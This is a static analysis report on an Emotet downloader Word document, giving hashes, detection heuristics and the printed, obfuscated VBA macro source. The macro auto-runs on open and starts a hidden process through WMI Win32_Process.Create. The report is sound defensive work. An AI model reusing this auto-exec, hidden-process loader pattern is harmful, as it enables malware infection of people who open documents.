Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ec0a218de1d59175…

MALICIOUS

Office (OLE)

127.3 KB Created: 2019-10-23 06:26:00 Authoring application: Microsoft Office Word First seen: 2021-03-01
MD5: 3ddb7fc07e91b176fc147c936d448298 SHA-1: e614226ef0ba03398569d810f12b504c18f1a96d SHA-256: ec0a218de1d59175fb57c7c4d9e355aa8bfd2f1d9e63410d2d996830c1c321e9
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7353190-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7353190-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Frank = CreateObject(Skevjurzpdtms(Skevjurzpdtms(FrankA)))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 74807 bytes
SHA-256: 9a0a74fccf7d4120007f03ab42c06febc2167609c586a3378b22aef9ccf738cc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Dbwfqrcghd"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Moryvgynwprd, 0, 0, MSForms, CommandButton"
Attribute VB_Control = "Mwvhinnqo, 1, 1, MSForms, CommandButton"
Attribute VB_Control = "Emngxryntbozl, 2, 2, MSForms, CommandButton"
Attribute VB_Control = "Cvuzxmhw, 3, 3, MSForms, CommandButton"
Attribute VB_Control = "Ejnsvtniq, 4, 4, MSForms, CommandButton"
Attribute VB_Control = "Pxhqmlvdgt, 5, 5, MSForms, CommandButton"

Attribute VB_Name = "Avkkumqblc"
Function Frank(FrankA)
On Error Resume Next
   Pdzygumpqipgt = Rnd("Mozilla/5.0 (Windows NT 5.0; Win64; rv:7.6) Gecko/20100101 Firefox/7.6.0")
Jkhsdwqxjx = Rnd("Hat")
Dlnuyfpxju = CLng(732)
''' Dabkowski - Galka Suite 080 Northeast Piasecki, Kruk and Nowicki Apt. 209 Southeast
Bzpjtosq = Int(19)
''' Zablocki LLC Apt. 915 Northeast Rózycki Inc Suite 188 South
Fffczayfqb = CInt(607)
Jddnrbeczp = Qeggevel
''' Sochacki - Owczarek Apt. 127 Northeast Wasiak - Glab Apt. 548 Southwest
Ghpvfoyedkzq = CDbl(409)
Ggwrmtjpgb = Log(303)
Trbvwsxpwvyv = CBool(33)
''' Zielinski - Stelmach Suite 105 North Kaminski, Zablocki and Budzynski Suite 768 Northeast
''' Zielonka - Królikowski Apt. 468 East Szydlowski Inc Suite 106 Southwest
Evlpezouayy = CInt("Howell GroupApt. 015Southwest")
''' Górecki Inc Apt. 204 East Rudzki - Szczesniak Apt. 676 South
''' Staszewski - Dec Suite 340 South Klimczak, Cholewa and Filipiak Suite 152 South
Tkrbojkvgdinh = CByte("77.227.28.161")
Set Frank = CreateObject(Skevjurzpdtms(Skevjurzpdtms(FrankA)))
   Gxirqyirstz = Cos("Hansen GroupApt. 024South")
Gxmaouqqlb = CSng("79.47.197.43")
Mlwoougezeg = Rnd(969)
''' Panek LLC Apt. 732 Northeast Urban Group Suite 543 East
Jrroaacu = Sin(125)
''' Krukowski, Jurkowski and Zaremba Apt. 581 Southwest Wrona Group Apt. 741 Northeast
Unhbocyuvv = Oct(991)
Mmdeysoj = Cwfdzblbktwa
''' Majka Inc Apt. 864 Southeast Filipek, Michalowski and Janusz Suite 487 Southwest
Gtrbajko = Fix(583)
Eelwckggi = Rnd(123)
Lwlcxjuklh = CBool(545)
''' Siwek, Jarosz and Janiszewski Apt. 683 Northeast Koziol - Jarzabek Apt. 546 East
''' Zietek - Jakubiak Apt. 978 North Kalinowski and Sons Suite 370 East
Cxfamjthow = Sgn("244.250.68.232")
''' Swiatek LLC Suite 388 South Kaniewski, Bednarz and Bogusz Suite 661 Northwest
''' Wasik Group Apt. 970 West Zurek and Sons Suite 419 South
Vqpzanprzpvwg = Hex("Towels")
End Function
Function Xpjfjievxnn()
On Error Resume Next
   Tfzrgtvhzvjn = CSng("Bacon")
Swhqltobmagb = CInt("Lakin and SonsApt. 822Northeast")
Gpkwbzyk = Tan(35)
''' Bujak LLC Suite 895 East Gawron LLC Suite 755 Northwest
Dcbgplhie = CLng(960)
''' Gasiorowski Inc Suite 172 East Konopka - Ciesla Suite 473 East
Xxqokfsszlf = Oct(897)
Bjlnmzuhqami = Lasxxsnis
''' Rogowski LLC Suite 138 West Stachowiak - Laskowski Suite 136 Northwest
Qugsgvysg = CDbl(991)
Zuvfwfhwe = Hex(19)
Xgrgnhrgsrsg = Int(995)
''' Ptak - Konopka Apt. 112 South Jedrzejczak, Cichy and Kulik Suite 662 Southeast
''' Mroczkowski - Bilski Apt. 958 West Krawiec - Kaluza Apt. 503 Northwest
Npjenplc = Round("Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko")
''' Krawiec - Strzelczyk Apt. 209 West Serafin Group Apt. 366 East
''' Zagórski LLC Suite 664 East Rózycki - Kepa Suite 803 South
Ycrvibvp = Hex("Human3959 Stehr Extensions, Daishahaven, Nauru")
   Seveepfrywh = Rnd("Forward48629 O'Keefe Key, Lake Amari, Lao People's Democratic Republic")
Xodzxrrnifhx = Int("Muller, Kutch and MaggioSuite 943South")
Mtpcxuhaamy = CByte(340)
''' Socha, Kisiel and Jankowski Suite 963 Northwest Szyszka - Grzyb Suite 500 Southeast
Vxwwujjmi = CLng(305)
''' Bogucki LLC Apt. 507 Southwest Stolarski - Lach Suite 161 West
Bqpajyngfb = CDbl(319)
Jukqnxorahmwq = Mnoadzgahf
''' Kucharczyk - Mroczek Apt. 332 South Chojnowski - Bielawski Suite 259 Northwest
Cysjdcynckt = CInt(598)
Udhtdtjypbs = CByte(360)
Pyctclgg = Oct(339)
''' Zukowski - Podgórski Suite 792 Northwest Konieczna - Gawel Apt. 174 Southwest
''' Suski, Blaszczyk and Dominiak Suite 738 Southeast Wolny and Sons Apt. 960 Southeast
Ixjtrxgbusli = Fix("Mozilla/5.0 (Windows; U; Windows NT 6.2) AppleWebKit/532.2.1 (KHTML, like Gecko) Chrome/14.0.802.0 Safari/532.2.1")
''' Dubiel, Dlugosz and Wójcik Apt. 652 Southeast Zyla, Czarnecki and Dlugosz Apt. 560 North
''' Kubiak - Suski Apt. 668 East Bochenek - Skrzypek Suite 571 South
Gdlxsmxascmal = CDbl("Kilback - LeannonApt. 813East")
Yogjidgfnv = Skevjurzpdtms(Skevjurzpdtms(Dbwfqrcghd.Ejnsvtniq.Caption))
   Rfbldwgq = Oct("Champlin and SonsSuite 442West")
Uuuectrqv = CDbl("Chief37859 Hauck Road, New Eriktown, Nauru")
Kctqwbzoqmduq = Cos(891)
''' Olejnik and Sons Apt. 615 Southwest Blaszczak - Kowalik Suite 603 Southeast
Iuiahrqxhx = Fix(64)
''' Wojciechowski, Gajda and Pietruszka Apt. 755 North Ciesla, Marciniak and Kurowski Apt. 120 Southwest
Tbgoruehchvgv = CStr(392)
Iuraevtk = Vsgtemtdb
''' Sliwa, Kaczmarek and Bieniek Apt. 298 West Gawronski - Broda Suite 579 Southeast
Jxlzlbgaybe = Oct(214)
Icqxneaqigv = Cos(421)
Nxvbducoyxfas = CBool(882)
''' Marciniak, Kulik and Gutowski Suite 179 Northwest Zebrowski and Sons Apt. 917 Northwest
''' Karczewski LLC Suite 497 East Zaborowski and Sons Apt. 257 Northeast
Kygqsqlcww = CBool("227.104.24.154")
''' Kucharczyk - Skrzypek Suite 638 Northeast Sosnowski and Sons Suite 495 North
''' Wolinski - Kucinski Apt. 392 Northeast Chmiel, Janus and Dabkowski Apt. 834 East
Ewaqpxnojfwyk = Cos("Gerlach, Rohan and HermannApt. 383North")
Set Wzcppcvqerer = Frank(Dbwfqrcghd.Mwvhinnqo.Caption)
   Zkwrweoxpee = CInt("157.255.64.240")
Pixkamkn = Round("88.144.69.111")
Tdqjfjqgqj = CInt(484)
''' Blaszczak, Mazur and Klimczak Apt. 074 Southwest Pilarski, Piekarski and Stelmach Suite 232 Northwest
Wwirpmcy = Rnd(187)
''' Czekaj - Konieczna Apt. 421 Southeast Broda - Plonka Apt. 237 Northwest
Bekyrunnkbi = CBool(160)
Ofuinzyo = Olbcjwxls
''' Wesolowski - Bednarczyk Suite 187 Southwest Frackowiak - Misztal Suite 930 Southeast
Bmzhrwtcz = Sgn(158)
Wtulueozdzdx = Rnd(867)
Qsdqnppsxm = CBool(299)
''' Dudek Inc Apt. 876 South Jedrzejewski and Sons Suite 774 South
''' Budzynski, Góra and Kozak Apt. 544 West Polak - Janowski Suite 192 North
Bwcflymuphiy = Tan("Pouros - WalshApt. 763East")
''' Domagala, Czerniak and Kita Apt. 862 Northwest Wasiak - Kucharczyk Apt. 177 South
''' Szewczyk Inc Suite 456 Northeast Kolodziejczyk, Cichy and Kalisz Suite 032 Northeast
Xtegyocvbepm = CByte("Lesch LLCApt. 780South")
Wzcppcvqerer.ShowWindow = 123# - 123#
   Wtjyyeccpowk = Cos("Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.3; Trident/5.1; .NET CLR 1.7.27012.5)")
Oahkiamoqu = CLng("International47151 Roob Estates, Gideonland, Angola")
Lygcqrce = Fix(126)
''' Michalowski, Janusz and Wypych Apt. 251 Northeast Nowicki Inc Apt. 295 South
Cbisqxcsgt = Cos(411)
''' Blaszczak Inc Apt. 464 Southeast Kwiecien - Mróz Suite 044 East
Eubkwfhhcpf = CLng(603)
Evmyehhweygb = Pmynzjvtmb
''' Jackowski - Gawronski Apt. 366 Northeast Tomaszewski - Malinowski Apt. 451 East
Xxihmwnzmbqt = CInt(92)
Muavvjhvrv = CInt(77)
Glxljksk = Oct(36)
''' Kaszuba, Wójcicki and Jasinski Apt. 149 Southeast Trzeciak LLC Suite 165 North
''' Tomaszewski, Andrzejczak and Rogalski Apt. 944 West Michalski Inc Apt. 393 West
Nwljnqxove = Atn("209.27.53.72")
''' Piotrowicz LLC Apt. 037 South Górniak - Szczepanik Suite 622 Southwest
''' Paluch, Rosa and Ciesla Apt. 735 Southeast Chojnowski, Wrona and Tomaszewski Apt. 784 Northeast
Xbtqgwnbgn = CSng("Mozilla/5.0 (X11; Linux x86_64; rv:14.2) Gecko/20100101 Firefox/14.2.8")
   Vzfamqgywi = CSng("183.147.246.180")
Pzytvngxerucx = CSng("Car")
Yovdglrjv = Round(279)
''' Zablocki Group Suite 842 West Sitek - Mróz Suite 873 North
Utcsmtnhtwxow = Hex(191)
''' Ratajczak - Hajduk Apt. 833 North Kasprzak - Janik Suite 324 Southwest
Pedfdchiijbeh = Sqr(406)
Qdgxtmvlfappl = Zzpjwmfq
''' Bednarczyk - Grzesiak Apt. 008 East Bednarek, Kowalski and Nowacki Suite 273 Northeast
Mkujlofvvfuiz = CDbl(804)
Utxeonwxhk = Int(282)
Xqlkmxbhbbc = Oct(420)
''' Wojciechowski, Borek and Pakula Apt. 666 Southwest Lipinski - Frackowiak Apt. 012 Northwest
''' Szymanski and Sons Apt. 049 North Tokarski Group Suite 015 Southwest
Jupfgrzvzc = Sin("11.16.109.217")
''' Pawlak and Sons Apt. 223 Northeast Cebula, Kwiecien and Józwik Apt. 592 South
''' Bakowski Group Suite 664 East Tokarski - Szczesna Suite 983 Southwest
Muipnmyjz = Tan("131.245.61.248")
   Isbxdgty = Fix("87.138.85.74")
Sxuowenlopkg = Hex("Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/533.0.0 (KHTML, like Gecko) Chrome/17.0.876.0 Safari/533.0.0")
Sfwclbtzwc = Int(453)
''' Ciesielski and Sons Suite 838 West Kaniewski, Lukasik and Andrzejczak Suite 978 Northwest
Dqpzhfpp = Rnd(847)
''' Stefanski - Bienkowski Suite 969 Southwest Przybylski and Sons Suite 772 North
Hvkadnswsbf = CInt(21)
Xkrmkytar = Bwvpheryedya
''' Skalski - Krupa Suite 549 East Zalewski - Jankowiak Suite 456 North
Yghajkwnmr = CLng(594)
Teqooptozhr = CLng(48)
Nkhlazjzbms = CInt(448)
''' Bober, Mikulski and Bednarek Apt. 334 West Nowacki, Polak and Krysiak Suite 157 Southwest
''' Gruszczynski and Sons Apt. 188 Southeast Bartnik and Sons Apt. 560 South
Iryojdar = CLng("Pizza")
''' Sawicki - Dlugosz Apt. 704 Southwest Plonka Group Apt. 857 Northwest
''' Klosowski, Kazmierczak and Krakowiak Suite 696 East Grzywacz - Jakubiak Apt. 139 Northwest
Hppjhdlqoe = Oct("112.98.133.206")
Msrtjfaficcdu = Frank2("hdnshdnshdnswinhdnshdnsmgmtshdnshdns:Whdnshdnsin32_hdnshdnsPrhdnshdnsochdnshdnseshdnshdnss", Yogjidgfnv, Wzcppcvqerer)
   Gasnthxj = Fix("Kshlerin, Stokes and BatzSuite 501West")
Qynscgufb = CByte("Emard LLCSuite 051Southeast")
Srkazvqnhknts = Round(834)
''' Kowal and Sons Apt. 522 Southeast Dobrzynski - Kulik Suite 695 East
Cxnqctsqrecrh = CStr(829)
''' Jagiello - Bartkowiak Apt. 668 Southeast Bielak - Golebiewski Suite 179 South
Enkfnihn = Fix(866)
Hwivdfvdde = Lqdabsvweiff
''' Olszewski, Sobieraj and Czarnecki Apt. 242 East Grzesiak - Mazurek Apt. 655 Northwest
Jmbqvjtd = CLng(273)
Juozhnedembtc = Cos(248)
Orxiyqcoc = Tan(234)
''' Leszczynski Group Apt. 693 Northeast Wróbel - Kurowski Suite 466 East
''' Bielak Inc Apt. 483 Southeast Filipek, Adamowicz and Kwiecinski Apt. 375 Northwest
Cmioyhvfrg = CDate("Mozilla/5.0 (Windows NT 6.2; WOW64; rv:12.6) Gecko/20100101 Firefox/12.6.0")
''' Czech and Sons Apt. 036 West Soltys - Kielbasa Apt. 260 Northeast
''' Konieczna - Pawlowski Suite 211 North Marciniak and Sons Suite 812 East
Oqecbuypjojgr = CDate("Pizza")
   Vfapiwffokus = CSng("Lind - GreenApt. 603Northwest")
Pruwupjgftuqv = CInt("Chips")
Xiklcsmtvza = CSng(48)
''' Jarosz, Juszczak and Lipka Apt. 107 West Tkaczyk, Budzinski and Balcerzak Suite 440 Southwest
Mgizfjqx = Atn(372)
''' Zurawski Inc Suite 499 East Mierzejewski, Wesolowski and Paluch Suite 452 North
Sxloahvr = Fix(79)
Prckhffdxyxt = Uykvlmwsd
''' Kowal, Majka and Górecki Apt. 391 West Bak Inc Apt. 099 North
Ordlmahzyove = Sqr(634)
Admzveyagucw = Tan(321)
Pwxnvttnb = Cos(316)
''' Grzeskowiak Group Suite 835 East Kuczynski Group Suite 245 Southeast
''' Makowski, Cebula and Lipski Suite 862 Southeast Pawlowski, Turek and Cieslik Suite 596 Northeast
Xpuyqyundl = Sqr("Legacy06286 Schuster Gateway, West Laronstad, Vietnam")
''' Jedrzejczyk Inc Apt. 109 North Wolny, Bukowski and Kolodziejczyk Apt. 952 Northwest
''' Tomala - Lipka Apt. 367 East Plonka, Piórkowski and Andrzejewski Suite 990 Southeast
Sibsnljjqa = Sin("International947 Schuyler Burg, Kozeyfort, Equatorial Guinea")
End Function

Attribute VB_Name = "Ezqhupnzy"
Function Frank2(FrankA21, FrankA22, FrankA23)
On Error Resume Next
   Hhyoaflsqa = CDbl("17.43.207.245")
Tbgtcfnpwycew = Fix("Little, Osinski and CarterSuite 755South")
Eqqyapxv = Sgn(583)
''' Karas Group Suite 877 Southeast Komorowski Group Suite 203 Northeast
Pfwvvshqfoagb = Fix(67)
''' Pietrzak, Drozdowski and Lenart Apt. 071 South Piórkowski - Kita Apt. 701 East
Frqjftsedhba = CBool(71)
Hwfbumzrt = Uoqhbyprf
''' Kot, Rusin and Krajewski Apt. 964 Southeast Bienkowski, Koper and Balcerzak Suite 008 South
Gmafxatotsgiy = CBool(146)
Fhltoxqdkfbx = CDbl(725)
Mivmiqtbop = CDate(868)
''' Karwowski - Cichocki Suite 055 Northwest Czechowski - Knapik Suite 636 Northwest
''' Panek - Polak Apt. 174 Southwest Januszewski - Robak Suite 286 South
Fgnofspgsigmh = Fix("Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.2; Trident/6.0; .NET CLR 1.8.51217.0)")
''' Kowalski LLC Suite 012 East Sosnowski, Milewski and Michalak Apt. 917 Northwest
''' Filipowicz - Kostrzewa Apt. 716 Southeast Domagala Group Suite 744 West
Jpawdrfhjkv = Tan("231.112.183.177")
Set FrankA211 = Frank(FrankA21)
   Psneajkvwduw = Hex("Purdy - WatersApt. 382North")
Xlftipvibk = CDate("191.119.216.50")
Hnpoibhj = Oct(772)
''' Rosiak Inc Suite 953 South Jarzabek - Kruk Apt. 985 North
Qayzhpoouiide = Cos(414)
''' Czaja, Witczak and Podgórski Apt. 832 North Zietek, Zawada and Leszczynski Apt. 030 North
Yfkxgqduzcw = Sgn(239)
Utpcjxufu = Ftnqbsejm
''' Gajda Group Apt. 778 North Kulinski, Rogalski and Lesniewski Suite 257 Southwest
Vxlxjnfyxl = Round(37)
Tbsfugihd = Rnd(489)
Rmdmthym = Cos(670)
''' Milczarek - Szczepanik Apt. 239 Northwest Osinski, Krawiec and Tracz Apt. 210 Southeast
''' Kos, Cygan and Warchol Apt. 182 Southwest Milczarek, Maliszewski and Zdunek Suite 373 West
Kxsqlogzw = Atn("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6.0; rv:10.4) Gecko/20100101 Firefox/10.4.5")
''' Górny, Szymczak and Staszewski Suite 047 North Falkowski - Paszkowski Apt. 630 West
''' Mucha Inc Apt. 490 South Konopka - Czekaj Apt. 900 Southeast
Vmtpjmjcdtgzv = CDbl("Computer")
Frank2 = FrankA211.Create(FrankA22, Zqzrkqqjjglk, FrankA23, Uuzqzuqyewzd)
   Ylawnzmagjh = Tan("Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/536.0.0 (KHTML, like Gecko) Chrome/22.0.892.0 Safari/536.0.0")
Kckidlawhgg = Rnd("Mozilla/5.0 (Windows NT 6.1; rv:15.4) Gecko/20100101 Firefox/15.4.9")
Zgpwrkfwysba = Atn(733)
''' Klimek, Szymkowiak and Andrzejewski Apt. 504 Northeast Kepa Inc Apt. 691 Southeast
Poxvutrztlu = CInt(997)
''' Gawronski Inc Apt. 132 Southeast Kwiatkowski - Piwowarczyk Apt. 713 North
Rrretrtagkjr = Log(172)
Tmjihgwkijkl = Zmecxpnf
''' Lipski, Góra and Michalczyk Apt. 465 Northeast Kot, Leszczynski and Zawada Suite 740 East
Hjdnjdnexzy = Cos(529)
Dmnygjhuhe = Hex(512)
Ughthgoe = CLng(593)
''' Szafranski, Wilczynski and Marcinkowski Suite 051 West Krawiec Inc Suite 809 Northeast
''' Rudzki LLC Suite 856 Southeast Wlodarski - Stepniak Suite 572 South
Ycibevgo = CByte("Rodriguez, Romaguera and NienowApt. 082Southwest")
''' Malinowski - Michalowski Apt. 282 North Wójcik, Ossowski and Burzynski Apt. 953 North
''' Matysiak - Przybyla Apt. 382 East Galka, Bujak and Serafin Apt. 931 Southeast
Mcbpkrgva = CByte("Future652 Marisol Divide, Dawsonton, Dominica")
End Function
Sub autoopen()
On Error Resume Next
   Woobuycdye = Int("Human238 Mayer Run, Port Clementine, Gambia")
Ciirsmkrlm = CDate("Global8270 Abernathy Stream, South Cordell, United States of America")
Yrltopmimk = Atn(197)
''' Jedrzejewski LLC Suite 325 Northeast Urbanczyk, Wnuk and Niedzwiecki Apt. 434 Southeast
Kuyxtnnyk = CInt(208)
''' Gawel LLC Suite 262 Southwest Przybysz - Czechowski Apt. 603 Southwest
Fqkxmjpbj = Hex(99)
Dcmioisn = Ldhynmyxzwbr
''' Stolarski - Gwózdz Suite 202 East Lach, Zukowski and Kopec Suite 386 South
Ddszywjnl = CInt(605)
Wlkzegxjotm = Atn(295)
Ywrdkwalrffkq = Tan(212)
''' Rudzki - Chrzanowski Suite 096 South Szafranski, Nowacki and Konopka Apt. 285 Northwest
''' Niedziela, Dobrowolski and Mróz Suite 193 Southwest Piasecki, Winiarski and Kowalczuk Apt. 849 East
Ajyryhrbnxu = CInt("Ball")
''' Godlewski and Sons Suite 855 Northeast Pasternak Group Suite 117 Southwest
''' Galazka - Mielczarek Suite 851 East Gawronski Inc Apt. 377 Southwest
Ivmqatbb = Hex("Mozilla/5.0 (Windows NT 6.3; Win64; rv:9.3) Gecko/20100101 Firefox/9.3.3")
   Cbefatpwwf = CLng("Human3802 Alexys Mountain, New Fletcher, Belgium")
Jrgzfiqdq = CSng("Pants")
Kosbhlahecehj = CLng(162)
''' Chmura - Mikolajczyk Apt. 327 Northeast Cichocki Group Apt. 545 Northeast
Mxptaptx = Rnd(655)
''' Kulinski LLC Suite 823 Northwest Domanski LLC Suite 521 Northeast
Hqoqftrw = CStr(765)
Rhshkvypcfjw = Wsowfjrr
''' Turek, Godlewski and Burzynski Suite 463 West Rosinski, Radomski and Robak Suite 656 Northeast
Zvmqyjmkidlef = Sin(612)
Erdvkslolu = CByte(61)
Vrsczetip = CLng(445)
''' Wisniewski Inc Apt. 017 Southeast Debski LLC Apt. 089 South
''' Rojek - Golab Apt. 968 East Wawrzyniak LLC Suite 025 Southwest
Qstyoyrrn = CDate("Jenkins - FarrellApt. 183South")
''' Biernacki, Wójcik and Gutowski Apt. 870 South Chojnowski, Kubicki and Mrozek Apt. 997 South
''' Wojtczak - Kostecki Apt. 550 Southwest Filipiak, Niedzielski and Bednarek Suite 068 North
Asnvsgogavl = CBool("Regional586 Cummings Court, Henristad, Falkland Islands (Malvinas)")
Xpjfjievxnn
   Stisbijy = CDate("Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/3.0)")
Cirksfmx = Fix("Internal916 Hartmann Shoal, Adellemouth, French Polynesia")
Rjnpwryyxcwcs = CDbl(668)
''' Urbaniak, Rybarczyk and Lapinski Suite 911 East Kolodziej - Nowinski Suite 969 Northwest
Ofwnqjqev = Log(577)
''' Nowicki, Marzec and Szczepanski Apt. 313 North Lisiecki - Kaleta Suite 077 South
Ugveyekul = CDbl(623)
Twkklacga = Feapkcnae
''' Bartkowiak Inc Apt. 802 North Swiderski LLC Apt. 029 North
Rwrcsdss = CStr(811)
Viladfxqcpooo = Cos(733)
Djthgkfnsens = Hex(819)
''' Jackowski Inc Apt. 245 Northeast Michalek - Jarosz Suite 735 Northeast
''' Nawrot, Wesolowski and Modzelewski Suite 296 South Dziuba, Kopec and Marek Apt. 035 East
Znhrgkvpp = Sgn("Hansen IncSuite 175West")
''' Skowronski - Skalski Apt. 955 West Józwik, Rojek and Pawlicki Apt. 940 Northeast
''' Kot - Krawiec Apt. 934 North Janusz - Czekaj Apt. 559 North
Qkcdmcirlotyk = CSng("Weimann, Watsica and KuhnApt. 174South")
   Wfaitgcx = Oct("Cheese")
Hqjagwln = Sin("183.9.21.134")
Wiieuhyqxlp = CByte(759)
''' Rucinski - Stolarski Suite 463 North Kucinski - Paluch Suite 642 Southwest
Mwfmhvqk = CStr(880)
''' Majcher - Nawrot Suite 006 West Krupa and Sons Apt. 342 Southeast
Oofjzpfdlavdn = Int(998)
Olhmaonxowea = Rmclluppy
''' Marzec, Skibinski and Górniak Suite 117 North Poplawski - Marczak Suite 540 North
Rieifjii = CStr(488)
Kiykjbrqnvov = Fix(91)
Osrccfznilif = CSng(133)
''' Marzec Inc Suite 904 North Michalik - Swierczynski Apt. 060 East
''' Dec, Bak and Ratajczak Suite 334 Southeast Rybicki, Kowalski and Drózdz Suite 703 East
Imwrtlhdebc = CSng("Shoes")
''' Wieckowski Inc Suite 752 East Noga Inc Suite 076 South
''' Kotowski, Kaczorowski and Kosinski Apt. 816 East Jarosz Inc Suite 679 Southeast
Zkdlwjkunsfgk = Hex("Lead994 Kamron Rue, Port Ginabury, Poland")
End Sub
Function Skevjurzpdtms(Ghysiviji)
On Error Resume Next
   Ircmsazmxt = Sin("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.3; Trident/3.0)")
Eypjfirgqg = Rnd("72.60.159.66")
Cyavbbjeqtlc = Int(117)
''' Kucharski, Czyzewski and Bogusz Apt. 354 Northwest Rybicki and Sons Apt. 807 Southeast
Xgutomyz = CLng(974)
''' Kolakowski, Prokop and Zietek Apt. 374 Northwest Golab - Galka Apt. 681 Northwest
Myrjjbtcmijta = Sqr(859)
Vjgwlmnrel = Wstvcicjdj
''' Izdebski and Sons Apt. 707 Southwest Sawicki - Kedziora Apt. 922 South
Ozjpjqdfqisc = Sgn(896)
Fkzgnyyp = Oct(372)
Tmglxvhmil = Sin(701)
''' Plonka and Sons Apt. 880 West Kolodziej - Rogala Apt. 244 Southwest
''' Lis LLC Suite 261 West Adamski, Pilarski and Pawlik Apt. 174 Southwest
Dxhohfvnaq = Rnd("Chicken")
''' Jasinski, Wozniak and Lis Suite 832 North Kaniewski - Jedrzejczak Apt. 792 Northeast
''' Kolodziejski LLC Suite 045 Southwest Twardowski - Dobrowolski Apt. 146 South
Drkwwcwz = Sin("85.234.75.127")
   Leooiwbeupve = Atn("54.152.217.16")
Vyhiidlik = CInt("Hermann and SonsApt. 679Northeast")
Madmhhdxuggxo = CDate(16)
''' Kaczmarczyk - Ciszewski Suite 336 South Gajewski - Zarzycki Suite 052 Northwest
Svaeakyieznu = CBool(540)
''' Palka - Walczak Apt. 948 Southwest Maslowski - Laskowski Suite 278 East
Ictqovwxsni = Sqr(981)
Oyobspplp = Xonryntny
''' Bialas, Zajaczkowski and Król Suite 629 Southeast Zieba Group Apt. 687 Northeast
Dnhzwwudmw = CByte(568)
Kkqxvepd = Sqr(665)
Ntahezeuvtyc = Sin(831)
''' Balcerzak - Mackowiak Suite 230 West Dobosz Group Suite 617 South
''' Dabkowski, Bartczak and Nowinski Suite 874 Southwest Socha - Kurek Apt. 476 Northwest
Utttqlvk = CByte("Mozilla/5.0 (Windows; U; Windows NT 6.2) AppleWebKit/536.0.2 (KHTML, like Gecko) Chrome/21.0.828.0 Safari/536.0.2")
''' Skoczylas - Sobczyk Apt. 537 Southwest Orzechowski, Maslanka and Kazmierczak Apt. 102 Northeast
''' Kepa, Tarnowski and Filipek Suite 630 Northwest Miskiewicz, Mackowiak and Kurek Suite 321 South
Dhhpyijftk = CByte("Bike")
Wpkvtmll = Ghysiviji
   Ycwjtiqchuusw = Int("Boyle - AuerApt. 572North")
Poqvbrse = CInt("Tuna")
Bofhvzjo = CStr(487)
''' Zyla - Adamczyk Apt. 736 Southeast Drózdz Inc Suite 472 West
Nazmjbsmy = Sqr(207)
''' Juszczak, Stasiak and Maciag Suite 142 Southwest Czech, Kolakowski and Maj Suite 119 Southwest
Mtwnmyaxffx = Sin(802)
Sulumvket = Opdlazfgslo
''' Gawel - Malec Suite 655 Southwest Dudzik - Adamiak Suite 282 Southwest
Tjajqxbph = CStr(752)
Pqxzcaltohyx = CInt(656)
Xgzravdzcac = Sqr(58)
''' Biernacki and Sons Suite 625 Southeast Cholewa Inc Apt. 349 Southwest
''' Milewski, Drozdowski and Bielski Suite 162 Southwest Przybyl, Jankowski and Grudzien Apt. 431 Northeast
Owdzhxjw = CStr("Carroll LLCSuite 756West")
''' Czech, Rózanski and Gasiorowski Apt. 367 South Kaczmarski - Gasiorowski Suite 010 Southeast
''' Pietruszka, Grzeskowiak and Swiatek Suite 416 Southwest Jackowski - Michalak Suite 781 Southeast
Gdrzvgau = Tan("Pizza")
   Trtjxicdwd = Int("10.184.49.97")
Usebjklnbcyz = Cos("110.122.219.31")
Nnozqqmwqf = Tan(573)
''' Szymczak, Grabowski and Rutkowski Apt. 842 Southeast Zaremba LLC Apt. 601 West
Ycoewppzomlxl = Atn(717)
''' Pilch, Wasilewski and Michalik Suite 655 South Kosinski, Frackowiak and Kmiecik Suite 417 South
Mjqstdlvo = CDate(615)
Mxgxcyujmizxg = Hyacrnpkzm
''' Szwarc - Baran Apt. 887 North Flak - Wlodarczyk Suite 913 West
Mvmhapzcrsq = CLng(207)
Cbownmkjjwm = Sin(179)
Xjxmhkdlhn = Sin(425)
''' Golebiowski and Sons Apt. 916 East Brzozowski Inc Apt. 515 Northeast
''' Karwowski - Sikora Apt. 438 North Skrzypczak, Jakubowski and Kolakowski Suite 582 Southeast
Yhghsohr = Sin("Salad")
